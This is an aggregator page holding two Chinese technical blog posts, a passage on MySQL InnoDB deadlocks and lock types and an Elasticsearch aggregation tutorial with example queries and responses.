比如,下面事务 A 查询语句会锁住 (2, +∞] 范围的记录,然后期间如果有其他事务在这个锁住的范围插入数据就会被阻塞。

图片

next-key 锁的加锁规则其实挺复杂的,在一些场景下会退化成记录锁或间隙锁。

需要注意的是,如果 update 语句的 where 条件没有用到索引列,那么就会全表扫描,在一行行扫描的过程中,不仅给行记录加上了行锁,还给行记录两边的空隙也加上了间隙锁,相当于锁住整个表,然后直到事务结束才会释放锁。

所以在线上千万不要执行没有带索引条件的 update 语句,不然会造成业务停滞。 回到前面死锁的例子。

事务 A 在执行下面这条语句的时候:

select id from t_order where order_no = 1007 for update;

我们可以通过 select * from performance_schema.data_locks\G; 这条语句,查看事务执行 SQL 过程中加了什么锁。

共加了两个锁,分别是:

  • 表锁:X 类型的意向锁;
  • 行锁:X 类型的间隙锁;

这里我们重点关注行锁,图中 LOCK_TYPE 中的 RECORD 表示行级锁,而不是记录锁的意思,通过 LOCK_MODE 可以确认是 next-key 锁,还是间隙锁,还是记录锁:

  • 如果 LOCK_MODE 为 X,说明是 X 型的 next-key 锁;
  • 如果 LOCK_MODE 为 X, REC_NOT_GAP,说明是 X 型的记录锁;
  • 如果 LOCK_MODE 为 X, GAP,说明是 X 型的间隙锁;

因此,此时事务 A 在二级索引(INDEX_NAME : index_order)上加的是 X 型的 next-key 锁,锁范围是(1006, +∞]

next-key 锁的范围 (1006, +∞],是怎么确定的?

根据我的经验,如果 LOCK_MODE 是 next-key 锁或者间隙锁,那么 LOCK_DATA 就表示锁的范围最右值,此次的事务 A 的 LOCK_DATA 是 supremum pseudo-record,表示的是 +∞。然后锁范围的最左值是 t_order 表中最后一个记录的 index_order 的值,也就是 1006。因此,next-key 锁的范围 (1006, +∞]。

「当查询的记录不存在时,加 next-key lock,然后会退化为间隙锁」。为什么上面事务 A 的 next-key lock 并没有退化为间隙锁?

如果表中最后一个记录的 order_no 为 1005,那么等值查询 order_no = 1006(不存在),就是 next key lock,如上面事务 A 的情况。

如果表中最后一个记录的 order_no 为 1010,那么等值查询 order_no = 1006(不存在),就是间隙锁。

当事务 B 往事务 A next-key 锁的范围 (1006, +∞] 里插入 id = 1008 的记录就会被锁住:

Insert into t_order (order_no, create_date) values (1008, now());

因为当我们执行以下插入语句时,会在插入间隙上获取插入意向锁,而插入意向锁与间隙锁是冲突的,所以当其它事务持有该间隙的间隙锁时,需要等待其它事务释放间隙锁之后,才能获取到插入意向锁。而间隙锁与间隙锁之间是兼容的,所以所以两个事务中 select ... for update 语句并不会相互影响

案例中的事务 A 和事务 B 在执行完后 select ... for update 语句后都持有范围为(1006,+∞]的next-key 锁,而接下来的插入操作为了获取到插入意向锁,都在等待对方事务的间隙锁释放,于是就造成了循环等待,导致死锁。

为什么间隙锁与间隙锁之间是兼容的?

在MySQL官网上还有一段非常关键的描述:

间隙锁的意义只在于阻止区间被插入,因此是可以共存的。一个事务获取的间隙锁不会阻止另一个事务获取同一个间隙范围的间隙锁,共享和排他的间隙锁是没有区别的,他们相互不冲突,且功能相同,即两个事务可以同时持有包含共同间隙的间隙锁。

这里的共同间隙包括两种场景:

  • 其一是两个间隙锁的间隙区间完全一样;
  • 其二是一个间隙锁包含的间隙区间是另一个间隙锁包含间隙区间的子集。

但是有一点要注意,next-key lock 是包含间隙锁+记录锁的,如果一个事务获取了 X 型的 next-key lock,那么另外一个事务在获取相同范围的 X 型的 next-key lock 时,是会被阻塞的

比如,一个事务持有了范围为 (1, 10] 的 X 型的 next-key lock,那么另外一个事务在获取相同范围的 X 型的 next-key lock 时,就会被阻塞。

虽然相同范围的间隙锁是多个事务相互兼容的,但对于记录锁,我们是要考虑 X 型与 S 型关系。X 型的记录锁与 X 型的记录锁是冲突的,比如一个事务执行了 select ... where id = 1 for update,后一个事务在执行这条语句的时候,就会被阻塞的。

但是还要注意!对于这种范围为 (1006, +∞] 的 next-key lock,两个事务是可以同时持有的,不会冲突。因为 +∞ 并不是一个真实的记录,自然就不需要考虑 X 型与 S 型关系。

插入意向锁是什么?

注意!插入意向锁名字虽然有意向锁,但是它并不是意向锁,它是一种特殊的间隙锁。

在MySQL的官方文档中有以下重要描述:

这段话表明尽管插入意向锁是一种特殊的间隙锁,但不同于间隙锁的是,该锁只用于并发插入操作

如果说间隙锁锁住的是一个区间,那么「插入意向锁」锁住的就是一个点。因而从这个角度来说,插入意向锁确实是一种特殊的间隙锁。

插入意向锁与间隙锁的另一个非常重要的差别是:尽管「插入意向锁」也属于间隙锁,但两个事务却不能在同一时间内,一个拥有间隙锁,另一个拥有该间隙区间内的插入意向锁(当然,插入意向锁如果不在间隙锁区间内则是可以的)。

另外,我补充一点,插入意向锁的生成时机:

  • 每插入一条新记录,都需要看一下待插入记录的下一条记录上是否已经被加了间隙锁,如果已加间隙锁,此时会生成一个插入意向锁,然后锁的状态设置为等待状态(PS:MySQL 加锁时,是先生成锁结构,然后设置锁的状态,如果锁状态是等待状态,并不是意味着事务成功获取到了锁,只有当锁状态为正常状态时,才代表事务成功获取到了锁),现象就是 Insert 语句会被阻塞。

3、Insert 语句是怎么加行级锁的?

Insert 语句在正常执行时是不会生成锁结构的,它是靠聚簇索引记录自带的 trx_id 隐藏列来作为隐式锁来保护记录的。

什么是隐式锁?

当事务需要加锁的时,如果这个锁不可能发生冲突,InnoDB会跳过加锁环节,这种机制称为隐式锁。隐式锁是 InnoDB 实现的一种延迟加锁机制,其特点是只有在可能发生冲突时才加锁,从而减少了锁的数量,提高了系统整体性能。

隐式锁就是在 Insert 过程中不加锁,只有在特殊情况下,才会将隐式锁转换为显示锁,这里我们列举两个场景。

  • 如果记录之间加有间隙锁,为了避免幻读,此时是不能插入记录的;
  • 如果 Insert 的记录和已有记录存在唯一键冲突,此时也不能插入记录;

3.1 记录之间加有间隙锁

每插入一条新记录,都需要看一下待插入记录的下一条记录上是否已经被加了间隙锁,如果已加间隙锁,此时会生成一个插入意向锁,然后锁的状态设置为等待状态(PS:MySQL 加锁时,是先生成锁结构,然后设置锁的状态,如果锁状态是等待状态,并不是意味着事务成功获取到了锁,只有当锁状态为正常状态时,才代表事务成功获取到了锁),现象就是 Insert 语句会被阻塞。

举个例子,现在 t_order 表中,只有这些数据,order_no 是二级索引

现在,事务 A 执行了下面这条语句。

# 事务 A
mysql> begin;
Query OK, 0 rows affected (0.01 sec)

mysql> select * from t_order where order_no = 1006 for update;
Empty set (0.01 sec)

接着,我们执行 select * from performance_schema.data_locks\G; 语句 ,确定事务 A 加了什么类型的锁,这里只关注在记录上加锁的类型。

本次的例子加的是 next-key 锁(记录锁+间隙锁),锁范围是(1005, +∞]

然后,有个事务 B 在这个间隙锁中,插入了一个记录,那么此时该事务 B 就会被阻塞:

# 事务 B 插入一条记录
mysql> begin;
Query OK, 0 rows affected (0.01 sec)

mysql> insert into t_order(order_no, create_date) values(1010,now());
### 阻塞状态。。。。

接着,我们执行 select * from performance_schema.data_locks\G; 语句 ,确定事务 B 加了什么类型的锁,这里只关注在记录上加锁的类型。

可以看到,事务 B 的状态为等待状态(LOCK_STATUS: WAITING),因为向事务 A 生成的 next-key 锁(记录锁+间隙锁)范围(1005, +∞] 中插入了一条记录,所以事务 B 的插入操作生成了一个插入意向锁(LOCK_MODE: X,INSERT_INTENTION),锁的状态是等待状态,意味着事务 B 并没有成功获取到插入意向锁,因此事务 B 发生阻塞。

3.2 遇到唯一键冲突

如果在插入新记录时,插入了一个与「已有的记录的主键或者唯一二级索引列值相同」的记录(不过可以有多条记录的唯一二级索引列的值同时为NULL,这里不考虑这种情况),此时插入就会失败,然后对于这条记录加上了 S 型的锁

  • 如果主键索引重复,插入新记录的事务会给已存在的主键值重复的聚簇索引记录添加 S 型记录锁
  • 如果唯一二级索引重复,插入新记录的事务都会给已存在的二级索引列值重复的二级索引记录添加 S 型 next-key 锁
3.2.1 主键索引冲突

下面举个「主键冲突」的例子,MySQL 8.0 版本,事务隔离级别为可重复读(默认隔离级别)。

t_order 表中的 id 字段为主键索引,并且已经存在 id 值为 5 的记录,此时有个事务,插入了一条 id 为 5 的记录,就会报主键索引冲突的错误。

但是除了报错之外,还做一个很重要的事情,就是对 id 为 5 的这条记录加上了 S 型的记录锁

可以执行 select * from performance_schema.data_locks\G; 语句,确定事务加了什么锁。

可以看到,主键索引为 5 (LOCK_DATA)的这条记录中加了锁类型为 S 型的记录锁。注意,这里 LOCK_TYPE 中的 RECORD 表示行级锁,而不是记录锁的意思。如果是 S 型记录锁的话,LOCK_MODE 会显示 S, REC_NOT_GAP

所以,在隔离级别是「可重复读」的情况下,如果在插入数据的时候,发生了主键索引冲突,插入新记录的事务会给已存在的主键值重复的聚簇索引记录添加 S 型记录锁

3.2.2 唯一二级索引冲突

下面举个「唯一二级索引冲突」的例子,MySQL 8.0 版本,事务隔离级别为可重复读(默认隔离级别)。

t_order 表中的 order_no 字段为唯一二级索引,并且已经存在 order_no 值为 1001 的记录,此时事务 A,插入了 order_no 为 1001 的记录,就出现了报错。

但是除了报错之外,还做一个很重要的事情,就是对 order_no 值为 1001 这条记录加上了 S 型的 next-key 锁

我们可以执行 select * from performance_schema.data_locks\G; 语句 ,确定事务加了什么类型的锁,这里只关注在记录上加锁的类型。

可以看到,index_order 二级索引加了 S 型的 next-key 锁,范围是(-∞, 1001] 。注意,这里 LOCK_TYPE 中的 RECORD 表示行级锁,而不是记录锁的意思。如果是记录锁的话,LOCK_MODE 会显示 S, REC_NOT_GAP

此时,事务 B 执行了 select * from t_order where order_no = 1001 for update; 就会阻塞,因为这条语句想加 X 型的锁,是与 S 型的锁是冲突的,所以就会被阻塞。

我们也可以从 performance_schema.data_locks 这个表中看到,事务 B 的状态(LOCK_STATUS)是等待状态,加锁的类型 X 型的记录锁(LOCK_MODE: X,REC_NOT_GAP )。

上面的案例是针对唯一二级索引重复而插入失败的场景。

接下来,分析两个事务执行过程中,执行了相同的 insert 语句的场景。

现在 t_order 表中,只有这些数据,order_no 为唯一二级索引

在隔离级别可重复读的情况下,开启两个事务,前后执行相同的 Insert 语句,此时事务 B 的 Insert 语句会发生阻塞

两个事务的加锁过程:

  • 事务 A 先插入 order_no 为 1006 的记录,可以插入成功,此时对应的唯一二级索引记录被「隐式锁」保护,此时还没有实际的锁结构(执行完这里的时候,你可以看查 performance_schema.data_locks 信息,可以看到这条记录是没有加任何锁的);
  • 接着,事务 B 也插入 order_no 为 1006 的记录,由于事务 A 已经插入 order_no 值为 1006 的记录,所以事务 B 在插入二级索引记录时会遇到重复的唯一二级索引列值,此时事务 B 想获取一个 S 型 next-key 锁,但是事务 A 并未提交,事务 A 插入的 order_no 值为 1006 的记录上的「隐式锁」会变「显示锁」且锁类型为 X 型的记录锁,所以事务 B 向获取 S 型 next-key 锁时会遇到锁冲突,事务 B 进入阻塞状态

我们可以执行 select * from performance_schema.data_locks\G; 语句 ,确定事务加了什么类型的锁,这里只关注在记录上加锁的类型。

先看事务 A 对 order_no 为 1006 的记录加了什么锁?

从下图可以看到,事务 A 对 order_no 为 1006 记录加上了类型为 X 型的记录锁注意,这个是在执行事务 B 之后才产生的锁,没执行事务 B 之前,该记录还是隐式锁)。

然后看事务 B 想对 order_no 为 1006 的记录加什么锁?

从下图可以看到,事务 B 想对 order_no 为 1006 的记录加 S 型的 next-key 锁,但是由于事务 A 在该记录上持有了 X 型的记录锁,这两个锁是冲突的,所以导致事务 B 处于等待状态

从这个实验可以得知,并发多个事务的时候,第一个事务插入的记录,并不会加锁,而是会用隐式锁保护唯一二级索引的记录。

但是当第一个事务还未提交的时候,有其他事务插入了与第一个事务相同的记录,第二个事务就会被阻塞因为此时第一事务插入的记录中的隐式锁会变为显示锁且类型是 X 型的记录锁,而第二个事务是想对该记录加上 S 型的 next-key 锁,X 型与 S 型的锁是冲突的,所以导致第二个事务会等待,直到第一个事务提交后,释放了锁。

如果 order_no 不是唯一二级索引,那么两个事务,前后执行相同的 Insert 语句,是不会发生阻塞的,就如前面的这个例子。

4、如何避免死锁?

死锁的四个必要条件:互斥、占有且等待、不可强占用、循环等待。只要系统发生死锁,这些条件必然成立,但是只要破坏任意一个条件就死锁就不会成立。

在数据库层面,有两种策略通过「打破循环等待条件」来解除死锁状态:

  • 设置事务等待锁的超时时间。当一个事务的等待时间超过该值后,就对这个事务进行回滚,于是锁就释放了,另一个事务就可以继续执行了。在 InnoDB 中,参数 innodb_lock_wait_timeout 是用来设置超时时间的,默认值时 50 秒。

    当发生超时后,就出现下面这个提示:

图片

  • 开启主动死锁检测。主动死锁检测在发现死锁后,主动回滚死锁链条中的某一个事务,让其他事务得以继续执行。将参数 innodb_deadlock_detect 设置为 on,表示开启这个逻辑,默认就开启。

    当检测到死锁后,就会出现下面这个提示:

图片

上面这个两种策略是「当有死锁发生时」的避免方式。

我们可以回归业务的角度来预防死锁,对订单做幂等性校验的目的是为了保证不会出现重复的订单,那我们可以直接将 order_no 字段设置为唯一索引列,利用它的唯一性来保证订单表不会出现重复的订单,不过有一点不好的地方就是在我们插入一个已经存在的订单记录时就会抛出异常。

by Gladiator575 at January 23, 2025 04:09 PM

juejin backend

Elasticsearch——Elasticsearch聚合实战

摘要

本文主要介绍了Elasticsearch中的聚合查询功能。聚合查询包含桶聚合、指标聚合和管道聚合三种方式。桶聚合将满足特定条件的文档集合分为桶,指标聚合对桶内的文档进行统计计算,管道聚合则将一个聚合的结果作为下一个聚合的输入。文章还通过汽车交易数据的例子,展示了如何创建对汽车经销商有用的聚合,并介绍了责任链模式、FilterChain、Average bucket聚合和Stats bucket聚合等概念。

1. 聚合查询

ElasticSearch中在概念上类似于 SQL 的分组(GROUP BY),而指标则类似于 COUNT()SUM()MAX() 等统计方法。进而引入了两个概念:

  • 桶(Buckets) 满足特定条件的文档的集合
  • 指标(Metrics) 对桶内的文档进行统计计算

所以ElasticSearch包含3种聚合(Aggregation)方式

  • 桶聚合(Bucket Aggregration)
  • 指标聚合(Metric Aggregration)
  • 管道聚合(Pipline Aggregration)
  • 聚合管道化,简单而言就是上一个聚合的结果成为下个聚合的输入;

1.1. Bucket聚合

所以你需要稍微站在设计者的角度思考下,不难发现设计上大概分为三类(当然有些是第二和第三类的融合)

1.2. 标准的聚合

让我们先看一个例子。我们将会创建一些对汽车经销商有用的聚合,数据是关于汽车交易的信息:车型、制造商、售价、何时被出售等。首先我们批量索引一些数据:

POST /test-agg-cars/_bulk
{ "index": {}}
{ "price" : 10000, "color" : "red", "make" : "honda", "sold" : "2014-10-28" }
{ "index": {}}
{ "price" : 20000, "color" : "red", "make" : "honda", "sold" : "2014-11-05" }
{ "index": {}}
{ "price" : 30000, "color" : "green", "make" : "ford", "sold" : "2014-05-18" }
{ "index": {}}
{ "price" : 15000, "color" : "blue", "make" : "toyota", "sold" : "2014-07-02" }
{ "index": {}}
{ "price" : 12000, "color" : "green", "make" : "toyota", "sold" : "2014-08-19" }
{ "index": {}}
{ "price" : 20000, "color" : "red", "make" : "honda", "sold" : "2014-11-05" }
{ "index": {}}
{ "price" : 80000, "color" : "red", "make" : "bmw", "sold" : "2014-01-01" }
{ "index": {}}
{ "price" : 25000, "color" : "blue", "make" : "ford", "sold" : "2014-02-12" }

有了数据,开始构建我们的第一个聚合。汽车经销商可能会想知道哪个颜色的汽车销量最好,用聚合可以轻易得到结果,用 terms 桶操作:

GET /test-agg-cars/_search
{
    "size" : 0,
    "aggs" : { 
        "popular_colors" : { 
            "terms" : { 
              "field" : "color.keyword"
            }
        }
    }
}
  1. 聚合操作被置于顶层参数 aggs 之下(如果你愿意,完整形式 aggregations 同样有效)。
  2. 然后,可以为聚合指定一个我们想要名称,本例中是: popular_colors 。
  3. 最后,定义单个桶的类型 terms 。

结果如下:

  1. 因为我们设置了 size 参数,所以不会有 hits 搜索结果返回。
  2. popular_colors 聚合是作为 aggregations 字段的一部分被返回的。
  3. 每个桶的 key 都与 color 字段里找到的唯一词对应。它总会包含 doc_count 字段,告诉我们包含该词项的文档数量。
  4. 每个桶的数量代表该颜色的文档数量。

1.2.1. 多个聚合

同时计算两种桶的结果:对color和对make。

GET /test-agg-cars/_search
{
    "size" : 0,
    "aggs" : { 
        "popular_colors" : { 
            "terms" : { 
              "field" : "color.keyword"
            }
        },
        "make_by" : { 
            "terms" : { 
              "field" : "make.keyword"
            }
        }
    }
}

结果如下:

1.2.2. 聚合的嵌套

这个新的聚合层让我们可以将 avg 度量嵌套置于 terms 桶内。实际上,这就为每个颜色生成了平均价格。

GET /test-agg-cars/_search
{
   "size" : 0,
   "aggs": {
      "colors": {
         "terms": {
            "field": "color.keyword"
         },
         "aggs": { 
            "avg_price": { 
               "avg": {
                  "field": "price" 
               }
            }
         }
      }
   }
}

结果如下:

正如 颜色 的例子,我们需要给度量起一个名字( avg_price )这样可以稍后根据名字获取它的值。最后,我们指定度量本身( avg )以及我们想要计算平均值的字段( price )

1.2.3. 动态脚本的聚合

这个例子告诉你,ElasticSearch还支持一些基于脚本(生成运行时的字段)的复杂的动态聚合。

GET /test-agg-cars/_search
{
  "runtime_mappings": {
    "make.length": {
      "type": "long",
      "script": "emit(doc['make.keyword'].value.length())"
    }
  },
  "size" : 0,
  "aggs": {
    "make_length": {
      "histogram": {
        "interval": 1,
        "field": "make.length"
      }
    }
  }
}

结果如下:

1.3. 分类学习Bucket聚合

1.3.1. 前置条件的过滤:filter

在当前文档集上下文中定义与指定过滤器(Filter)匹配的所有文档的单个存储桶。通常,这将用于将当前聚合上下文缩小到一组特定的文档。

GET /test-agg-cars/_search
{
  "size": 0,
  "aggs": {
    "make_by": {
      "filter": { "term": { "type": "honda" } },
      "aggs": {
        "avg_price": { "avg": { "field": "price" } }
      }
    }
  }
}

结果如下:

1.3.2. 对filter进行分组聚合:filters

设计一个新的例子, 日志系统中,每条日志都是在文本中,包含warning/info等信息。

PUT /test-agg-logs/_bulk?refresh
{ "index" : { "_id" : 1 } }
{ "body" : "warning: page could not be rendered" }
{ "index" : { "_id" : 2 } }
{ "body" : "authentication error" }
{ "index" : { "_id" : 3 } }
{ "body" : "warning: connection timed out" }
{ "index" : { "_id" : 4 } }
{ "body" : "info: hello pdai" }

我们需要对包含不同日志类型的日志进行分组,这就需要filters:

GET /test-agg-logs/_search
{
  "size": 0,
  "aggs" : {
    "messages" : {
      "filters" : {
        "other_bucket_key": "other_messages",
        "filters" : {
          "infos" :   { "match" : { "body" : "info"   }},
          "warnings" : { "match" : { "body" : "warning" }}
        }
      }
    }
  }
}

结果如下:

1.3.3. 对number类型聚合:Range

基于多桶值源的聚合,使用户能够定义一组范围-每个范围代表一个桶。在聚合过程中,将从每个存储区范围中检查从每个文档中提取的值,并“存储”相关/匹配的文档。请注意,此聚合包括from值,但不包括to每个范围的值。

GET /test-agg-cars/_search
{
  "size": 0,
  "aggs": {
    "price_ranges": {
      "range": {
        "field": "price",
        "ranges": [
          { "to": 20000 },
          { "from": 20000, "to": 40000 },
          { "from": 40000 }
        ]
      }
    }
  }
}

结果如下:

1.3.4. 对IP类型聚合:IP Range

专用于IP值的范围聚合。

GET /ip_addresses/_search
{
  "size": 10,
  "aggs": {
    "ip_ranges": {
      "ip_range": {
        "field": "ip",
        "ranges": [
          { "to": "10.0.0.5" },
          { "from": "10.0.0.5" }
        ]
      }
    }
  }
}

返回

{
  ...

  "aggregations": {
    "ip_ranges": {
      "buckets": [
        {
          "key": "*-10.0.0.5",
          "to": "10.0.0.5",
          "doc_count": 10
        },
        {
          "key": "10.0.0.5-*",
          "from": "10.0.0.5",
          "doc_count": 260
        }
      ]
    }
  }
}
  • CIDR Mask分组

此外还可以用CIDR Mask分组

GET /ip_addresses/_search
{
  "size": 0,
  "aggs": {
    "ip_ranges": {
      "ip_range": {
        "field": "ip",
        "ranges": [
          { "mask": "10.0.0.0/25" },
          { "mask": "10.0.0.127/25" }
        ]
      }
    }
  }
}

返回

{
  ...

  "aggregations": {
    "ip_ranges": {
      "buckets": [
        {
          "key": "10.0.0.0/25",
          "from": "10.0.0.0",
          "to": "10.0.0.128",
          "doc_count": 128
        },
        {
          "key": "10.0.0.127/25",
          "from": "10.0.0.0",
          "to": "10.0.0.128",
          "doc_count": 128
        }
      ]
    }
  }
}
  • 增加key显示
GET /ip_addresses/_search
{
  "size": 0,
  "aggs": {
    "ip_ranges": {
      "ip_range": {
        "field": "ip",
        "ranges": [
          { "to": "10.0.0.5" },
          { "from": "10.0.0.5" }
        ],
        "keyed": true // here
      }
    }
  }
}

返回

{
  ...

  "aggregations": {
    "ip_ranges": {
      "buckets": {
        "*-10.0.0.5": {
          "to": "10.0.0.5",
          "doc_count": 10
        },
        "10.0.0.5-*": {
          "from": "10.0.0.5",
          "doc_count": 260
        }
      }
    }
  }
}
  • 自定义key显示
GET /ip_addresses/_search
{
  "size": 0,
  "aggs": {
    "ip_ranges": {
      "ip_range": {
        "field": "ip",
        "ranges": [
          { "key": "infinity", "to": "10.0.0.5" },
          { "key": "and-beyond", "from": "10.0.0.5" }
        ],
        "keyed": true
      }
    }
  }
}

返回

{
  ...

  "aggregations": {
    "ip_ranges": {
      "buckets": {
        "infinity": {
          "to": "10.0.0.5",
          "doc_count": 10
        },
        "and-beyond": {
          "from": "10.0.0.5",
          "doc_count": 260
        }
      }
    }
  }
}

1.3.5. 对日期类型聚合:Date Range

专用于日期值的范围聚合。

GET /test-agg-cars/_search
{
  "size": 0,
  "aggs": {
    "range": {
      "date_range": {
        "field": "sold",
        "format": "yyyy-MM",
        "ranges": [
          { "from": "2014-01-01" },  
          { "to": "2014-12-31" } 
        ]
      }
    }
  }
}

结果如下:

此聚合与Range聚合之间的主要区别在于 from和to值可以在Date Math表达式中表示,并且还可以指定日期格式,通过该日期格式将返回from and to响应字段。请注意,此聚合包括from值,但不包括to每个范围的值

1.3.6. 对柱状图功能:Histrogram

直方图 histogram 本质上是就是为柱状图功能设计的。

创建直方图需要指定一个区间,如果我们要为售价创建一个直方图,可以将间隔设为 20,000。这样做将会在每个 $20,000 档创建一个新桶,然后文档会被分到对应的桶中。

对于仪表盘来说,我们希望知道每个售价区间内汽车的销量。我们还会想知道每个售价区间内汽车所带来的收入,可以通过对每个区间内已售汽车的售价求和得到。

可以用 histogram 和一个嵌套的 sum 度量得到我们想要的答案:

GET /test-agg-cars/_search
{
   "size" : 0,
   "aggs":{
      "price":{
         "histogram":{ 
            "field": "price.keyword",
            "interval": 20000
         },
         "aggs":{
            "revenue": {
               "sum": { 
                 "field" : "price"
               }
             }
         }
      }
   }
}
  1. histogram 桶要求两个参数:一个数值字段以及一个定义桶大小间隔。
  2. sum 度量嵌套在每个售价区间内,用来显示每个区间内的总收入。

如我们所见,查询是围绕 price 聚合构建的,它包含一个 histogram 桶。它要求字段的类型必须是数值型的同时需要设定分组的间隔范围。 间隔设置为 20,000 意味着我们将会得到如 [0-19999, 20000-39999, …] 这样的区间。

接着,我们在直方图内定义嵌套的度量,这个 sum 度量,它会对落入某一具体售价区间的文档中 price 字段的值进行求和。 这可以为我们提供每个售价区间的收入,从而可以发现到底是普通家用车赚钱还是奢侈车赚钱。

响应结果如下:

结果很容易理解,不过应该注意到直方图的键值是区间的下限。键 0 代表区间 0-19,999 ,键 20000 代表区间 20,000-39,999 ,等等。

当然,我们可以为任何聚合输出的分类和统计结果创建条形图,而不只是 直方图 桶。让我们以最受欢迎 10 种汽车以及它们的平均售价、标准差这些信息创建一个条形图。 我们会用到 terms 桶和 extended_stats 度量:

GET /test-agg-cars/_search
{
  "size" : 0,
  "aggs": {
    "makes": {
      "terms": {
        "field": "make.keyword",
        "size": 10
      },
      "aggs": {
        "stats": {
          "extended_stats": {
            "field": "price"
          }
        }
      }
    }
  }
}

上述代码会按受欢迎度返回制造商列表以及它们各自的统计信息。我们对其中的 stats.avg 、 stats.count 和 stats.std_deviation 信息特别感兴趣,并用 它们计算出标准差:

std_err = std_deviation / count

对应报表:

1.4. metric聚合

那么metric聚合又如何理解呢?我认为从两个角度:

  • 从分类看:Metric聚合分析分为单值分析多值分析两类
  • 从功能看:根据具体的应用场景设计了一些分析api, 比如地理位置,百分数等等

融合上述两个方面,我们可以梳理出大致的一个mind图:

  • 单值分析

只输出一个分析结果

    • 标准stat型
      • avg 平均值
      • max 最大值
      • min 最小值
      • sum
      • value_count 数量
    • 其它类型
      • cardinality 基数(distinct去重)
      • weighted_avg 带权重的avg
      • median_absolute_deviation 中位值
  • 多值分析

单值之外的

    • stats型
      • stats 包含avg,max,min,sum和count
      • matrix_stats 针对矩阵模型
      • extended_stats
      • string_stats 针对字符串
    • 百分数型
      • percentiles 百分数范围
      • percentile_ranks 百分数排行
    • 地理位置型
      • geo_bounds Geo bounds
      • geo_centroid Geo-centroid
      • geo_line Geo-Line
    • Top型
      • top_hits 分桶后的top hits
      • top_metrics

通过上述列表(我就不画图了),我们构筑的体系是基于分类和功能,而不是具体的项(比如avg,percentiles…);这是不同的认知维度: 具体的项是碎片化,分类和功能这种是你需要构筑的体系

1.5. 单值分析: 标准stat类型

1.5.1. avg 平均值

计算班级的平均分

POST /exams/_search?size=0
{
  "aggs": {
    "avg_grade": { "avg": { "field": "grade" } }
  }
}

返回

{
  ...
  "aggregations": {
    "avg_grade": {
      "value": 75.0
    }
  }
}

1.5.2. max 最大值

计算销售最高价

POST /sales/_search?size=0
{
  "aggs": {
    "max_price": { "max": { "field": "price" } }
  }
}

返回

{
  ...
  "aggregations": {
      "max_price": {
          "value": 200.0
      }
  }
}

1.5.3. min 最小值

计算销售最低价

POST /sales/_search?size=0
{
  "aggs": {
    "min_price": { "min": { "field": "price" } }
  }
}

返回

{
  ...

  "aggregations": {
    "min_price": {
      "value": 10.0
    }
  }
}

1.5.4. sum

计算销售总价

POST /sales/_search?size=0
{
  "query": {
    "constant_score": {
      "filter": {
        "match": { "type": "hat" }
      }
    }
  },
  "aggs": {
    "hat_prices": { "sum": { "field": "price" } }
  }
}

返回

{
  ...
  "aggregations": {
    "hat_prices": {
      "value": 450.0
    }
  }
}

1.5.5. value_count 数量

销售数量统计

POST /sales/_search?size=0
{
  "aggs" : {
    "types_count" : { "value_count" : { "field" : "type" } }
  }
}

返回

{
  ...
  "aggregations": {
    "types_count": {
      "value": 7
    }
  }
}

1.6. 单值分析: 其它类型

1.6.1. weighted_avg 带权重的avg

POST /exams/_search
{
  "size": 0,
  "aggs": {
    "weighted_grade": {
      "weighted_avg": {
        "value": {
          "field": "grade"
        },
        "weight": {
          "field": "weight"
        }
      }
    }
  }
}

返回

{
  ...
  "aggregations": {
    "weighted_grade": {
      "value": 70.0
    }
  }
}

1.6.2. cardinality 基数(distinct去重)

POST /sales/_search?size=0
{
  "aggs": {
    "type_count": {
      "cardinality": {
        "field": "type"
      }
    }
  }
}

返回

{
  ...
  "aggregations": {
    "type_count": {
      "value": 3
    }
  }
}

1.6.3. median_absolute_deviation 中位值

GET reviews/_search
{
  "size": 0,
  "aggs": {
    "review_average": {
      "avg": {
        "field": "rating"
      }
    },
    "review_variability": {
      "median_absolute_deviation": {
        "field": "rating" 
      }
    }
  }
}

返回

{
  ...
  "aggregations": {
    "review_average": {
      "value": 3.0
    },
    "review_variability": {
      "value": 2.0
    }
  }
}

1.7. 非单值分析:stats型

1.7.1. stats 包含avg,max,min,sum和count

POST /exams/_search?size=0
{
  "aggs": {
    "grades_stats": { "stats": { "field": "grade" } }
  }
}

返回

{
  ...

  "aggregations": {
    "grades_stats": {
      "count": 2,
      "min": 50.0,
      "max": 100.0,
      "avg": 75.0,
      "sum": 150.0
    }
  }
}

1.7.2. matrix_stats 针对矩阵模型

以下示例说明了使用矩阵统计量来描述收入与贫困之间的关系。

GET /_search
{
  "aggs": {
    "statistics": {
      "matrix_stats": {
        "fields": [ "poverty", "income" ]
      }
    }
  }
}

返回

{
  ...
  "aggregations": {
    "statistics": {
      "doc_count": 50,
      "fields": [ {
          "name": "income",
          "count": 50,
          "mean": 51985.1,
          "variance": 7.383377037755103E7,
          "skewness": 0.5595114003506483,
          "kurtosis": 2.5692365287787124,
          "covariance": {
            "income": 7.383377037755103E7,
            "poverty": -21093.65836734694
          },
          "correlation": {
            "income": 1.0,
            "poverty": -0.8352655256272504
          }
        }, {
          "name": "poverty",
          "count": 50,
          "mean": 12.732000000000001,
          "variance": 8.637730612244896,
          "skewness": 0.4516049811903419,
          "kurtosis": 2.8615929677997767,
          "covariance": {
            "income": -21093.65836734694,
            "poverty": 8.637730612244896
          },
          "correlation": {
            "income": -0.8352655256272504,
            "poverty": 1.0
          }
        } ]
    }
  }
}

1.7.3. extended_stats

根据从汇总文档中提取的数值计算统计信息。

GET /exams/_search
{
  "size": 0,
  "aggs": {
    "grades_stats": { "extended_stats": { "field": "grade" } }
  }
}

上面的汇总计算了所有文档的成绩统计信息。聚合类型为extended_stats,并且字段设置定义将在其上计算统计信息的文档的数字字段。

{
  ...

  "aggregations": {
    "grades_stats": {
      "count": 2,
      "min": 50.0,
      "max": 100.0,
      "avg": 75.0,
      "sum": 150.0,
      "sum_of_squares": 12500.0,
      "variance": 625.0,
      "variance_population": 625.0,
      "variance_sampling": 1250.0,
      "std_deviation": 25.0,
      "std_deviation_population": 25.0,
      "std_deviation_sampling": 35.35533905932738,
      "std_deviation_bounds": {
        "upper": 125.0,
        "lower": 25.0,
        "upper_population": 125.0,
        "lower_population": 25.0,
        "upper_sampling": 145.71067811865476,
        "lower_sampling": 4.289321881345245
      }
    }
  }
}

1.7.4. string_stats 针对字符串

用于计算从聚合文档中提取的字符串值的统计信息。这些值可以从特定的关键字字段中检索。

POST /my-index-000001/_search?size=0
{
  "aggs": {
    "message_stats": { "string_stats": { "field": "message.keyword" } }
  }
}

返回

{
  ...

  "aggregations": {
    "message_stats": {
      "count": 5,
      "min_length": 24,
      "max_length": 30,
      "avg_length": 28.8,
      "entropy": 3.94617750050791
    }
  }
}

